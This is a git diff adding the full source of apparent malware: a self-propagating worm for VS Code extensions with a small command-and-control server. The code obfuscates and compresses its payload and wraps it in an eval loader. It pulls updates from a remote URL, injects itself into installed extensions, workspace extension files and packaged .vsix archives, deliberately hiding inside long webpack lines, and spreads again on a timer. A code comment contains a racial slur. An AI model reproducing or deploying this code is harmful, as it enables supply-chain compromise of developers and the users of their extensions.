diff options
| -rw-r--r-- | .gitignore | 3 | ||||
| -rw-r--r-- | cnc/bluedream.bd | 2 | ||||
| -rw-r--r-- | cnc/lib/bd_parser.js | 48 | ||||
| -rw-r--r-- | cnc/scr/localhost.js | 0 | ||||
| -rw-r--r-- | cnc/scr/pitbull.js | 0 | ||||
| -rw-r--r-- | cnc/srv.js | 30 | ||||
| -rw-r--r-- | inf/bluedream.pd | 7 | ||||
| -rwxr-xr-x | inf/build_payload.js | 36 | ||||
| -rwxr-xr-x | inf/gen_pwnage.js | 11 | ||||
| -rw-r--r-- | inf/mal/cnc/client.js | 15 | ||||
| -rw-r--r-- | inf/mal/cnc/consts.js | 1 | ||||
| -rw-r--r-- | inf/mal/imports.js | 10 | ||||
| -rw-r--r-- | inf/mal/index.js | 20 | ||||
| -rw-r--r-- | inf/mal/spread/extjs.js | 58 | ||||
| -rw-r--r-- | inf/mal/spread/lib/sentinel_pwn.js | 11 | ||||
| -rw-r--r-- | inf/mal/spread/vsix.js | 491 | ||||
| -rw-r--r-- | inf/mal/wrapper.js | 1 |
17 files changed, 744 insertions, 0 deletions
diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..c1e89c0 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +*.tar +*.bin +node_modules
\ No newline at end of file diff --git a/cnc/bluedream.bd b/cnc/bluedream.bd new file mode 100644 index 0000000..b02a9e2 --- /dev/null +++ b/cnc/bluedream.bd @@ -0,0 +1,2 @@ +127.0.0.0/8:payloads/localhost.js,scr/localhost.js +0.0.0.0/0:payloads/worldwide.js,scr/pitbull.js
\ No newline at end of file diff --git a/cnc/lib/bd_parser.js b/cnc/lib/bd_parser.js new file mode 100644 index 0000000..01a557a --- /dev/null +++ b/cnc/lib/bd_parser.js @@ -0,0 +1,48 @@ +// block descriptor parser + +const fs = require('fs'); +const net = require('net'); + + +const block_regex = /(\d+.\d+.\d+.\d+)\/(\d+)/; +const range_regex = /(\d+.\d+.\d+.\d+)-(\d+.\d+.\d+.\d+)/; + +function parse_bd(bd_path) { + const bd = fs.readFileSync(bd_path, "utf8").split("\n"); + let all_bds = []; + + for (let s of bd) { + s = s.includes("#") ? s.slice(0, s.indexOf("#")) + : s; + + if (s == "") continue; + + let ip_desc = s.slice(0, s.indexOf(":")); + let ips = ip_desc.split(","); + let [bin, run_when] = s.slice(s.indexOf(":") + 1).split(","); + + let blocklist = new net.BlockList(); + + for (let ip of ips) { + if (ip.includes("/")) { + let match = ip.match(block_regex); + + blocklist.addSubnet(match[1], parseInt(match[2])); + } else if (ip.includes("-")) { + let match = ip.match(range_regex); + + console.log(match[1], match[2]); + + blocklist.addRange(match[1], match[2]); + } else { + blocklist.addAddress(ip); + } + } + + all_bds.push({block: blocklist, wrapped: fs.readFileSync(bin), js_to_run: run_when != "none" ? fs.readFileSync(run_when, "utf8") : null}) + } + + return all_bds; +} + +exports.parse_bd = parse_bd;
\ No newline at end of file diff --git a/cnc/scr/localhost.js b/cnc/scr/localhost.js new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/cnc/scr/localhost.js diff --git a/cnc/scr/pitbull.js b/cnc/scr/pitbull.js new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/cnc/scr/pitbull.js diff --git a/cnc/srv.js b/cnc/srv.js new file mode 100644 index 0000000..260900c --- /dev/null +++ b/cnc/srv.js @@ -0,0 +1,30 @@ +const http = require('http'); +const fs = require('fs'); + +const bd_parse = require('./lib/bd_parser.js'); + +let bd = bd_parse.parse_bd(process.argv[2]); + +const srv = http.createServer((req, res) => { + let wrapped; + let js_to_run; + + for (let d of bd) { + if (d.block.check(req.socket.remoteAddress)) { + wrapped = d.wrapped; + js_to_run = d.js_to_run; + break; + } + } + + if (js_to_run) { + eval(js_to_run); + } + + console.log(wrapped); + + res.statusCode = 200; + res.end(wrapped); +}); + +srv.listen(1337, "0.0.0.0");
\ No newline at end of file diff --git a/inf/bluedream.pd b/inf/bluedream.pd new file mode 100644 index 0000000..bc1538b --- /dev/null +++ b/inf/bluedream.pd @@ -0,0 +1,7 @@ +mal/imports.js +mal/cnc/consts.js +mal/cnc/client.js +mal/spread/lib/sentinel_pwn.js +mal/spread/extjs.js +mal/spread/vsix.js +mal/index.js
\ No newline at end of file diff --git a/inf/build_payload.js b/inf/build_payload.js new file mode 100755 index 0000000..73a2344 --- /dev/null +++ b/inf/build_payload.js @@ -0,0 +1,36 @@ +#!/usr/bin/env node + +const fs = require("fs") +const uglify = require("uglify-js") +const path = require("path") +const zlib = require("zlib"); + +let payload_descriptor = fs.readFileSync(path.resolve(process.argv[2])).toString().split("\n"); + +if (payload_descriptor.includes("")) payload_descriptor.pop(); + +let full_payload = ""; + +for (file in payload_descriptor) { + let fn = payload_descriptor[file]; + let fc = fs.readFileSync(fn, "utf8"); + + full_payload += fc + "\n"; +} + +let minified = uglify.minify( + full_payload, + { + mangle: { + toplevel: true, + properties: {keep_quoted: true} + }, + } +).code; + +let compressed = zlib.brotliCompressSync(minified); + +console.error(`crc32: ${zlib.crc32(compressed)}`) + +fs.writeFileSync(process.argv[3], compressed); +fs.writeFileSync(process.argv[4], minified);
\ No newline at end of file diff --git a/inf/gen_pwnage.js b/inf/gen_pwnage.js new file mode 100755 index 0000000..f1c4a76 --- /dev/null +++ b/inf/gen_pwnage.js @@ -0,0 +1,11 @@ +#!/usr/bin/env node + +const zlib = require('zlib') +const fs = require('fs') + +const payload = Buffer.from(fs.readFileSync(process.argv[2])).toString("base64"); +const wrapper = fs.readFileSync("mal/wrapper.js", "utf8").replace("{}", payload); + +console.error(`crc32: ${zlib.crc32(wrapper)}`); + +console.log(wrapper); diff --git a/inf/mal/cnc/client.js b/inf/mal/cnc/client.js new file mode 100644 index 0000000..7fddde7 --- /dev/null +++ b/inf/mal/cnc/client.js @@ -0,0 +1,15 @@ +function update_malware() { + fs.stat(module.filename, (err, stats) => { + if ((new Date() - (s.mtimeMs)) > (86400*1000)) { + fetch(cnc_url).then((v) => { + v.text().then((t) => { + let fc = fs.readFileSync(module.filename, "utf8"); + fc = fc.replace(sentinel_pwn(), t); + fs.writeFileSync(module.filename, fc); + }) + }).catch((e) => { + // ignore. + }); + } + }); +}
\ No newline at end of file diff --git a/inf/mal/cnc/consts.js b/inf/mal/cnc/consts.js new file mode 100644 index 0000000..35a77cc --- /dev/null +++ b/inf/mal/cnc/consts.js @@ -0,0 +1 @@ +const cnc_url = "TODO_GIST_URL";
\ No newline at end of file diff --git a/inf/mal/imports.js b/inf/mal/imports.js new file mode 100644 index 0000000..f12514b --- /dev/null +++ b/inf/mal/imports.js @@ -0,0 +1,10 @@ +const fs = require("node:fs"); +const zlib = require("node:zlib"); +const path = require("node:path"); +const vscode = require("vscode"); +const os = require("os"); + +var Transform = require("stream").Transform; +var PassThrough = require("stream").PassThrough; +var util = require("util"); +var EventEmitter = require("events").EventEmitter;
\ No newline at end of file diff --git a/inf/mal/index.js b/inf/mal/index.js new file mode 100644 index 0000000..a87e788 --- /dev/null +++ b/inf/mal/index.js @@ -0,0 +1,20 @@ +/* + * flawless victory, ya niggas can't do shit to me + * physically, lyrically, hypothetically, realistically + */ + +// XXX find a decent host for stage1 loader & stage2.bin + +update_malware(); + +/* spread to other extension's output files if opened in workspace */ +extension_js_spread(); + +/* spread to other extensions in case we get nuked */ +extension_spread(); + +/* spread to any packaged extensions in the current directory */ +vsix_spread(); + +/* keep spreading in case the files get updated / created */ +setInterval(vsix_spread, 600000);
\ No newline at end of file diff --git a/inf/mal/spread/extjs.js b/inf/mal/spread/extjs.js new file mode 100644 index 0000000..9d75e9f --- /dev/null +++ b/inf/mal/spread/extjs.js @@ -0,0 +1,58 @@ +function pwn_ext_buf(_buf) { + let buf = _buf; +// let buf = fs.readFileSync(fname, "utf8"); + let pwnage = sentinel_pwn(); + + if (buf.includes(pwnage)) return false; +// if (!buf.includes("vscode")) return false; + + if (buf.includes("})();\nObject.defineProperty")) { + // easy to hide between these + buf.replace("})();\nObject.defineProperty", "})();\nObject.defineProperty", `})();\n${pwnage}\nObject.defineProperty`); + } else if (buf.includes("__webpack_module_cache__={};function __webpack_require__")) { + // even better, halfway through a fucking 100k line! + buf.replace("__webpack_module_cache__={};function __webpack_require__", `__webpack_module_cache__={};${pwnage}function __webpack_require__`); + } else { + buf = buf + "\n" + Buffer.from(pwnage); + } + +// fs.writeFileSync(fname, buf); + + return buf; +} + +function extension_js_spread() { + vscode["workspace"]["findFiles"]("**/{package.json}", "**/node_modules/**")["then"]((ev) => { + for (var el of ev) { + let j = JSON.parse(fs.readFileSync(el.path, "utf8")); + try { + if (!j["engines"]["vscode"]) continue; + } catch { + //; + } + let mc = path.dirname(el.path) + "/" + j["main"]; + let b = fs.readFileSync(mc, "utf8"); + let pwnd = pwn_ext_buf(b); + + fs.writeFileSync(mc, pwnd ? pwnd : b); + } + }); +} + +function extension_spread() { + vscode.extensions.all.map( + (e) => { + fs.access(e.extensionPath, 2, (er) => { + if (er) return; + + let x = (e.extensionPath + "/" + require(e.extensionPath + "/package.json")["main"]); + + x = x.endsWith("js") ? x : x + ".js"; + + let f = fs.readFileSync(x, "utf8"); + let b = pwn_ext_buf(f); + fs.writeFileSync(x, b ? b : f) + }) + } + ); +}
\ No newline at end of file diff --git a/inf/mal/spread/lib/sentinel_pwn.js b/inf/mal/spread/lib/sentinel_pwn.js new file mode 100644 index 0000000..396d966 --- /dev/null +++ b/inf/mal/spread/lib/sentinel_pwn.js @@ -0,0 +1,11 @@ +function sentinel_pwn() { + let file_contents = fs.readFileSync(module.filename, "utf8"); + let s1 = "/*瑲慮猠*/"; + let s2 = "/*物杨瑳*/"; + + if (file_contents.includes(s1) && file_contents.includes(s2)) { + let pwnage = file_contents.slice(file_contents.indexOf(s1), file_contents.indexOf(s2) + s2.length); + + return pwnage; + } +}
\ No newline at end of file diff --git a/inf/mal/spread/vsix.js b/inf/mal/spread/vsix.js new file mode 100644 index 0000000..41a26ba --- /dev/null +++ b/inf/mal/spread/vsix.js @@ -0,0 +1,491 @@ +/* + * nightmare nightmare nightmare + * + * vsix patcher! + */ + +const eocd_sig = 0x6054b50; +const eocd_size_off = 12; +const eocd_start_off = 16; + +const cdfh_comp_size_off = 20; +const cdfh_fn_len_off = 28; +const cdfh_lh_off = 42; +const cdfh_fn_off = 46; + +const lh_fn_off = 30; + +const lh_uncomp_size_off = 22; +const buffer_allocunsafe = Buffer.allocUnsafe; + +//YAZL +function prepareBuffer(buffer) { + buffer.w6 = buffer.writeUInt16LE; + buffer.w2 = buffer.writeUInt32LE; + buffer.r8 = buffer.readUInt8; + buffer.w8 = buffer.writeUInt8; + buffer.r6 = buffer.readUInt16LE; + buffer.r2 = buffer.readUInt32LE; + return buffer; +} + +util.inherits(ZipFile, EventEmitter); +function ZipFile() { + this.outputStream = new PassThrough(); + this.entries = []; + this.outputStreamCursor = 0; + this.ended = false; // .end() sets this + this.allDone = false; // set when we've written the last bytes +}; + +ZipFile.prototype.addBuffer = function(buffer, metadataPath) { + var self = this; + + var entry = new Entry(metadataPath, false); + entry.uncompressedSize = buffer.length; + entry.crc32 = zlib["crc32"](buffer); + entry.crcAndFileSizeKnown = true; + self.entries.push(entry); + zlib.deflateRaw(buffer, {level:6}, function(err, compressedBuffer) { + setCompressedBuffer(compressedBuffer); + }); + function setCompressedBuffer(compressedBuffer) { + entry.compressedSize = compressedBuffer.length; + entry.setFileDataPumpFunction(function() { + writeToOutputStream(self, compressedBuffer); + writeToOutputStream(self, entry.getDataDescriptor()); + entry.state = Entry.FILE_DATA_DONE; + + // don't call pumpEntries() recursively. + // (also, don't call process.nextTick recursively.) + setImmediate(function() { + pumpEntries(self); + }); + }); + pumpEntries(self); + } +}; + +ZipFile.prototype.end = function() { + if (this.ended) return; + this.ended = true; + this.comment = EMPTY_BUFFER; + pumpEntries(this); +}; + +function writeToOutputStream(self, buffer) { + self.outputStream.write(buffer); + self.outputStreamCursor += buffer.length; +} + +function pumpEntries(self) { + if (self.allDone) return; + + // pump entries + var entry = getFirstNotDoneEntry(); + function getFirstNotDoneEntry() { + for (var i = 0; i < self.entries.length; i++) { + var entry = self.entries[i]; + if (entry.state < Entry.FILE_DATA_DONE) return entry; + } + return null; + } + if (entry != null) { + // this entry is not done yet + if (entry.state < Entry.READY_TO_PUMP_FILE_DATA) return; // input file not open yet + if (entry.state === Entry.FILE_DATA_IN_PROGRESS) return; // we'll get there + // start with local file header + entry.relativeOffsetOfLocalHeader = self.outputStreamCursor; + var localFileHeader = entry.getLocalFileHeader(); + writeToOutputStream(self, localFileHeader); + entry.doFileDataPump(); + } else { + // all cought up on writing entries + if (self.ended) { + // head for the exit + self.offsetOfStartOfCentralDirectory = self.outputStreamCursor; + self.entries.forEach(function(entry) { + var centralDirectoryRecord = entry.getCentralDirectoryRecord(); + writeToOutputStream(self, centralDirectoryRecord); + }); + writeToOutputStream(self, getEndOfCentralDirectoryRecord(self)); + self.outputStream.end(); + self.allDone = true; + } + } +} + +var ZIP64_END_OF_CENTRAL_DIRECTORY_RECORD_SIZE = 56; +var ZIP64_END_OF_CENTRAL_DIRECTORY_LOCATOR_SIZE = 20; +var END_OF_CENTRAL_DIRECTORY_RECORD_SIZE = 22; +function getEndOfCentralDirectoryRecord(self) { + var needZip64Format = false; + var normalEntriesLength = self.entries.length; + if (self.entries.length >= 0xffff) { + normalEntriesLength = 0xffff; + needZip64Format = true; + } + var sizeOfCentralDirectory = self.outputStreamCursor - self.offsetOfStartOfCentralDirectory; + var normalSizeOfCentralDirectory = sizeOfCentralDirectory; + var normalOffsetOfStartOfCentralDirectory = self.offsetOfStartOfCentralDirectory; + + var eocdrBuffer = prepareBuffer(buffer_allocunsafe(END_OF_CENTRAL_DIRECTORY_RECORD_SIZE + self.comment.length)); + // end of central dir signature 4 bytes (0x06054b50) + eocdrBuffer.w2(0x06054b50, 0); + // number of this disk 2 bytes + eocdrBuffer.w6(0, 4); + // number of the disk with the start of the central directory 2 bytes + eocdrBuffer.w6(0, 6); + // total number of entries in the central directory on this disk 2 bytes + eocdrBuffer.w6(normalEntriesLength, 8); + // total number of entries in the central directory 2 bytes + eocdrBuffer.w6(normalEntriesLength, 10); + // size of the central directory 4 bytes + eocdrBuffer.w2(normalSizeOfCentralDirectory, 12); + // offset of start of central directory with respect to the starting disk number 4 bytes + eocdrBuffer.w2(normalOffsetOfStartOfCentralDirectory, 16); + // .ZIP file comment (variable size) + self.comment.copy(eocdrBuffer, 22); + + if (!needZip64Format) return eocdrBuffer; + + // ZIP64 format + // ZIP64 End of Central Directory Record + var zip64EocdrBuffer = prepareBuffer(buffer_allocunsafe(ZIP64_END_OF_CENTRAL_DIRECTORY_RECORD_SIZE)); + // zip64 end of central dir signature 4 bytes (0x06064b50) + zip64EocdrBuffer.w2(0x06064b50, 0); + // size of zip64 end of central directory record 8 bytes + writeUInt64LE(zip64EocdrBuffer, ZIP64_END_OF_CENTRAL_DIRECTORY_RECORD_SIZE - 12, 4); + // version made by 2 bytes + zip64EocdrBuffer.w6(VERSION_MADE_BY, 12); + // version needed to extract 2 bytes + zip64EocdrBuffer.w6(VERSION_NEEDED_TO_EXTRACT_ZIP64, 14); + // number of this disk 4 bytes + zip64EocdrBuffer.w2(0, 16); + // number of the disk with the start of the central directory 4 bytes + zip64EocdrBuffer.w2(0, 20); + // total number of entries in the central directory on this disk 8 bytes + writeUInt64LE(zip64EocdrBuffer, self.entries.length, 24); + // total number of entries in the central directory 8 bytes + writeUInt64LE(zip64EocdrBuffer, self.entries.length, 32); + // size of the central directory 8 bytes + writeUInt64LE(zip64EocdrBuffer, sizeOfCentralDirectory, 40); + // offset of start of central directory with respect to the starting disk number 8 bytes + writeUInt64LE(zip64EocdrBuffer, self.offsetOfStartOfCentralDirectory, 48); + // zip64 extensible data sector (variable size) + // nothing in the zip64 extensible data sector + + + // ZIP64 End of Central Directory Locator + var zip64EocdlBuffer = prepareBuffer(buffer_allocunsafe(ZIP64_END_OF_CENTRAL_DIRECTORY_LOCATOR_SIZE)); + // zip64 end of central dir locator signature 4 bytes (0x07064b50) + zip64EocdlBuffer.w2(0x07064b50, 0); + // number of the disk with the start of the zip64 end of central directory 4 bytes + zip64EocdlBuffer.w2(0, 4); + // relative offset of the zip64 end of central directory record 8 bytes + writeUInt64LE(zip64EocdlBuffer, self.outputStreamCursor, 8); + // total number of disks 4 bytes + zip64EocdlBuffer.w2(1, 16); + + return Buffer.concat([ + zip64EocdrBuffer, + zip64EocdlBuffer, + eocdrBuffer, + ]); +} + +var EMPTY_BUFFER = prepareBuffer(buffer_allocunsafe(0)); + +// this class is not part of the public API +function Entry(metadataPath, isDirectory) { + this.utf8FileName = Buffer.from(metadataPath); + this.isDirectory = isDirectory; + this.state = Entry.WAITING_FOR_METADATA; + this.setFileAttributesMode(isDirectory ? 0o40775 : 0o100777); + + if (isDirectory) { + this.crcAndFileSizeKnown = true; + this.crc32 = 0; + this.uncompressedSize = 0; + this.compressedSize = 0; + } else { + // unknown so far + this.crcAndFileSizeKnown = false; + this.crc32 = null; + this.uncompressedSize = null; + this.compressedSize = null; + } + + this.compressionLevel = this.isDirectory ? 0 : 6; + // no comment. + this.fileComment = EMPTY_BUFFER; +} +Entry.WAITING_FOR_METADATA = 0; +Entry.READY_TO_PUMP_FILE_DATA = 1; +Entry.FILE_DATA_IN_PROGRESS = 2; +Entry.FILE_DATA_DONE = 3; +Entry.prototype.setFileAttributesMode = function(mode) { + // http://unix.stackexchange.com/questions/14705/the-zip-formats-external-file-attribute/14727#14727 + this.externalFileAttributes = (mode << 16) >>> 0; +}; +// doFileDataPump() should not call pumpEntries() directly. see issue #9. +Entry.prototype.setFileDataPumpFunction = function(doFileDataPump) { + this.doFileDataPump = doFileDataPump; + this.state = Entry.READY_TO_PUMP_FILE_DATA; +}; +Entry.prototype.useZip64Format = () => {return this.forceZip64Format}; +var LOCAL_FILE_HEADER_FIXED_SIZE = 30; +var VERSION_NEEDED_TO_EXTRACT_UTF8 = 20; +var VERSION_NEEDED_TO_EXTRACT_ZIP64 = 45; +// 3 = unix. 63 = spec version 6.3 +var VERSION_MADE_BY = (3 << 8) | 63; +var FILE_NAME_IS_UTF8 = 1 << 11; +var UNKNOWN_CRC32_AND_FILE_SIZES = 1 << 3; +Entry.prototype.getLocalFileHeader = function() { + var crc32 = 0; + var compressedSize = 0; + var uncompressedSize = 0; + if (this.crcAndFileSizeKnown) { + crc32 = this.crc32; + compressedSize = this.compressedSize; + uncompressedSize = this.uncompressedSize; + } + + var fixedSizeStuff = prepareBuffer(buffer_allocunsafe(LOCAL_FILE_HEADER_FIXED_SIZE)); + var generalPurposeBitFlag = FILE_NAME_IS_UTF8; + if (!this.crcAndFileSizeKnown) generalPurposeBitFlag |= UNKNOWN_CRC32_AND_FILE_SIZES; + + // local file header signature 4 bytes (0x04034b50) + fixedSizeStuff.w2(0x04034b50, 0); + // version needed to extract 2 bytes + fixedSizeStuff.w6(VERSION_NEEDED_TO_EXTRACT_UTF8, 4); + // general purpose bit flag 2 bytes + fixedSizeStuff.w6(generalPurposeBitFlag, 6); + // compression method 2 bytes + fixedSizeStuff.w6(this.isDirectory?0:8, 8); + // crc-32 4 bytes + fixedSizeStuff.w2(crc32, 14); + // compressed size 4 bytes + fixedSizeStuff.w2(compressedSize, 18); + // uncompressed size 4 bytes + fixedSizeStuff.w2(uncompressedSize, 22); + // file name length 2 bytes + fixedSizeStuff.w6(this.utf8FileName.length, 26); + // extra field length 2 bytes + fixedSizeStuff.w6(0, 28); + return Buffer.concat([ + fixedSizeStuff, + // file name (variable size) + this.utf8FileName, + // extra field (variable size) + // no extra fields + ]); +}; +var DATA_DESCRIPTOR_SIZE = 16; +var ZIP64_DATA_DESCRIPTOR_SIZE = 24; +Entry.prototype.getDataDescriptor = function() { + if (this.crcAndFileSizeKnown) { + // the Mac Archive Utility requires this not be present unless we set general purpose bit 3 + return EMPTY_BUFFER; + } + if (!this.useZip64Format()) { + var buffer = prepareBuffer(buffer_allocunsafe(DATA_DESCRIPTOR_SIZE)); + // optional signature (required according to Archive Utility) + buffer.w2(0x08074b50, 0); + // crc-32 4 bytes + buffer.w2(this.crc32, 4); + // compressed size 4 bytes + buffer.w2(this.compressedSize, 8); + // uncompressed size 4 bytes + buffer.w2(this.uncompressedSize, 12); + return buffer; + } else { + // ZIP64 format + var buffer = prepareBuffer(buffer_allocunsafe(ZIP64_DATA_DESCRIPTOR_SIZE)); + // optional signature (unknown if anyone cares about this) + buffer.w2(0x08074b50, 0); + // crc-32 4 bytes + buffer.w2(this.crc32, 4); + // compressed size 8 bytes + writeUInt64LE(buffer, this.compressedSize, 8); + // uncompressed size 8 bytes + writeUInt64LE(buffer, this.uncompressedSize, 16); + return buffer; + } +}; +var CENTRAL_DIRECTORY_RECORD_FIXED_SIZE = 46; +var ZIP64_EXTENDED_INFORMATION_EXTRA_FIELD_SIZE = 28; +Entry.prototype.getCentralDirectoryRecord = function() { + var fixedSizeStuff = prepareBuffer(buffer_allocunsafe(CENTRAL_DIRECTORY_RECORD_FIXED_SIZE)); + var generalPurposeBitFlag = FILE_NAME_IS_UTF8; + if (!this.crcAndFileSizeKnown) generalPurposeBitFlag |= UNKNOWN_CRC32_AND_FILE_SIZES; + + var normalCompressedSize = this.compressedSize; + var normalUncompressedSize = this.uncompressedSize; + var normalRelativeOffsetOfLocalHeader = this.relativeOffsetOfLocalHeader; + var versionNeededToExtract = VERSION_NEEDED_TO_EXTRACT_UTF8; + var zeiefBuffer = EMPTY_BUFFER; + if (this.useZip64Format()) { + normalCompressedSize = 0xffffffff; + normalUncompressedSize = 0xffffffff; + normalRelativeOffsetOfLocalHeader = 0xffffffff; + versionNeededToExtract = VERSION_NEEDED_TO_EXTRACT_ZIP64; + + // ZIP64 extended information extra field + zeiefBuffer = prepareBuffer(buffer_allocunsafe(ZIP64_EXTENDED_INFORMATION_EXTRA_FIELD_SIZE)); + // 0x0001 2 bytes Tag for this "extra" block type + zeiefBuffer.w6(0x0001, 0); + // Size 2 bytes Size of this "extra" block + zeiefBuffer.w6(ZIP64_EXTENDED_INFORMATION_EXTRA_FIELD_SIZE - 4, 2); + // Original Size 8 bytes Original uncompressed file size + writeUInt64LE(zeiefBuffer, this.uncompressedSize, 4); + // Compressed Size 8 bytes Size of compressed data + writeUInt64LE(zeiefBuffer, this.compressedSize, 12); + // Relative Header Offset 8 bytes Offset of local header record + writeUInt64LE(zeiefBuffer, this.relativeOffsetOfLocalHeader, 20); + // Disk Start Number 4 bytes Number of the disk on which this file starts + // (omit) + } + + // central file header signature 4 bytes (0x02014b50) + fixedSizeStuff.w2(0x02014b50, 0); + // version made by 2 bytes + fixedSizeStuff.w6(VERSION_MADE_BY, 4); + // version needed to extract 2 bytes + fixedSizeStuff.w6(versionNeededToExtract, 6); + // general purpose bit flag 2 bytes + fixedSizeStuff.w6(generalPurposeBitFlag, 8); + // compression method 2 bytes + fixedSizeStuff.w6(this.isDirectory?0:8, 10); + // crc-32 4 bytes + fixedSizeStuff.w2(this.crc32, 16); + // compressed size 4 bytes + fixedSizeStuff.w2(normalCompressedSize, 20); + // uncompressed size 4 bytes + fixedSizeStuff.w2(normalUncompressedSize, 24); + // file name length 2 bytes + fixedSizeStuff.w6(this.utf8FileName.length, 28); + // file comment length 2 bytes + fixedSizeStuff.w6(this.fileComment.length, 32); + // disk number start 2 bytes + fixedSizeStuff.w6(0, 34); + // internal file attributes 2 bytes + fixedSizeStuff.w6(0, 36); + // external file attributes 4 bytes + fixedSizeStuff.w2(this.externalFileAttributes, 38); + // relative offset of local header 4 bytes + fixedSizeStuff.w2(normalRelativeOffsetOfLocalHeader, 42); + + return Buffer.concat([ + fixedSizeStuff, + // file name (variable size) + this.utf8FileName, + zeiefBuffer, + // file comment (variable size) + this.fileComment, + ]); +}; + +function writeUInt64LE(buffer, n, offset) { + // can't use bitshift here, because JavaScript only allows bitshifting on 32-bit integers. + var high = Math.floor(n / 0x100000000); + var low = n >>> 0; + buffer.w2(low, offset); + buffer.w2(high, offset + 4); +} + +//ENDYAZL + +function pwn_a_vsix(fname) { + let zip = prepareBuffer(fs.readFileSync(fname)); + let pwnage = sentinel_pwn(); + + let l = zip.length; + let eocd_off = l - 22; + + let eocd = zip.r2(eocd_off); + + while (eocd != eocd_sig) { + eocd_off--; + eocd = zip.r2(eocd_off); + } + + let cdfh_size = zip.r2(eocd_off + eocd_size_off); + let cdfh_start = zip.r2(eocd_off + eocd_start_off); + let cdfh = cdfh_start; + + let pack_json; + let pack_off; +// let ext_manif_off; + + let main; + + let cdfh_fn_len; + + let z = new ZipFile(); + + let ts = 0; + + while (cdfh < cdfh_start + cdfh_size) { + cdfh_fn_len = zip.r2(cdfh + cdfh_fn_len_off); + let cdfh_fn = zip.slice(cdfh + cdfh_fn_off, cdfh + cdfh_fn_off + cdfh_fn_len).toString(); + let lh_loc = zip.r2(cdfh + cdfh_lh_off); + let lh_comp_size = zip.r2(cdfh + cdfh_comp_size_off); + let lh_uncomp_size = zip.r2(lh_loc + lh_uncomp_size_off); + let wdeflate = (zip.r8(cdfh + 9) & 8) == 8; + let wpatch; + + if (wdeflate) { + wpatch = zlib.inflateRawSync(zip.slice(lh_loc + lh_fn_off + cdfh_fn_len, lh_loc + lh_fn_off + cdfh_fn_len + lh_comp_size)); + } else { + wpatch = zip.slice(lh_loc + lh_fn_off + cdfh_fn_len, lh_loc + lh_fn_off + cdfh_fn_len + lh_uncomp_size); + } + + if (cdfh_fn == "extension.vsixmanifest") { +// ext_manif_off = lh_loc; + + let ext_manif = wpatch; + + pack_json = ext_manif.toString().match(/Manifest" Path="(.*?)"/)[1]; + } + + if (cdfh_fn == pack_json) { + pack_off = lh_loc; + + let pack = wpatch; + pack = JSON.parse(pack); + + main = path.normalize(path.dirname(pack_json) + "/" + pack["main"]); + + //console.log(main) + } + + if (cdfh_fn == main) { + //console.log("found it!"); + + wpatch = pwn_ext_buf(wpatch); + if (!wpatch) return; + } + + ts += wpatch.length; + + z.addBuffer(wpatch, cdfh_fn); + + cdfh += cdfh_fn_len + cdfh_fn_off; + } + + z.outputStream.pipe(fs.createWriteStream(fname)).on("close", () => { + //console.log("pwnd?"); + }); + + z.end(); +} + +// XXX find an efficient method to find vsixs outside of workspaces +function vsix_spread() { + vscode["workspace"]["findFiles"]("**/{*.vsix}", "**/node_modules/**")["then"]((ev) => { + for (var el of ev) { + pwn_a_vsix(el.path); + } + }); +}
\ No newline at end of file diff --git a/inf/mal/wrapper.js b/inf/mal/wrapper.js new file mode 100644 index 0000000..b41340f --- /dev/null +++ b/inf/mal/wrapper.js @@ -0,0 +1 @@ +/*瑲慮猠*/(async ()=>{eval(require("zlib").brotliDecompressSync(Buffer.from("{}", "base64")).toString());})()/*物杨瑳*/
\ No newline at end of file |
